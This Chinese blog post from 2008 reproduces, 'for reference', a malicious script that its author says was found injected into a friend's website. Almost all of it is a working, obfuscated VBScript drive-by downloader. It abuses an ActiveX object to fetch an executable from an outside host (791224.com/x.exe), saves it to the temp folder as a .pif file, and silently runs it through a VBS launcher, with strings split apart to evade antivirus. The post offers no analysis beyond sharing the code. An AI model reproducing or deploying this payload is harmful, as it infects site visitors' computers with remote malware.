Posted on 2008-04-13 21:54
ChinaBUG[iPodMP.com] 阅读(91)
评论(0) 编辑 收藏 所属分类:
技术文章
唉，最近挂马太多~~我朋友的网站就挂了这个~~~弄出来参考~~
<script language=VBScript>
On Error Resume Next
goodflow = "http://791224.com/x.exe"
Set goodflow_2_cn = document.createElement("object")
goodflowid="clsid:"
goodflowidx="BD96C"
goodflowid2="556-6"
goodflowid3="5A3-11D"
goodflowid4="0-98"
goodflowid5="3A-00C"
goodflowid6="04FC"
goodflowid7="29E"
goodflowid8="36"
goodflowidxs="classid"
goodflow3="Microsoft.X"
goodflow4="MLHTTp"
goodflow5="G"
goodflow6="E"
goodflow7="T"
goodflow_2_cn.SetAttribute goodflowidxs, goodflowid&goodflowidx&goodflowid2&goodflowid3&goodflowid4&goodflowid5&goodflowid6&goodflowid7&goodflowid8
Set lovegoodflow=goodflow_2_cn.CreateObject(goodflow3&goodflow4,"")
lovegoodflow.Open goodflow5&goodflow6&goodflow7, goodflow, False
lovegoodflow.Send
goodflow_8158809="MicroSofts.pif"
goodflow_8158809s="MicroSofts.vbs"
fuckyoukaspersky="Scripting."
fuckyoukasperskys="FileSyst"
fuckyoukasperskyss="emObject"
fuckyoukasperskysss="Adod"
fuckyoukasperskyssss="b.stream"
fuckyoukasperskysssss=fuckyoukasperskysss&fuckyoukasperskyssss
fuckyoukasperskssssse=dashabikaspersky
Set chilam = goodflow_2_cn.createobject(fuckyoukaspersky&fuckyoukasperskys&fuckyoukasperskyss,"")
Set mingzhongzhuding = chilam.GetSpecialFolder(2)
goodflow_8158809=chilam.BuildPath(mingzhongzhuding,goodflow_8158809)
goodflow_8158809s=chilam.BuildPath(mingzhongzhuding,goodflow_8158809s)
Set chilams = goodflow_2_cn.createobject(fuckyoukasperskysssss,"")
chilams.type=1
chilams.Open
chilams.Write lovegoodflow.ResponseBody
chilams.Savetofile goodflow_8158809,2
chilams.Close
chilams.Type=2
chilams.Open
chilams.WriteText "Set Love_goodflow_cn = CreateObject(""Wscript"&".Shell"")"&vbCrLf&"Love_goodflow_cn.run ("""&goodflow_8158809&""")"
furising=shaibirising
chilams.Savetofile goodflow_8158809s,2
chilams.Close
lovegoodflow="Shell.Applica"
manxue="tion"
Set lovemanxue = goodflow_2_cn.createobject(lovegoodflow&manxue,"")
lovemanxue.SHeLLExeCute goodflow_8158809s,"","","O"&"p"&"e"&"n",0
</script>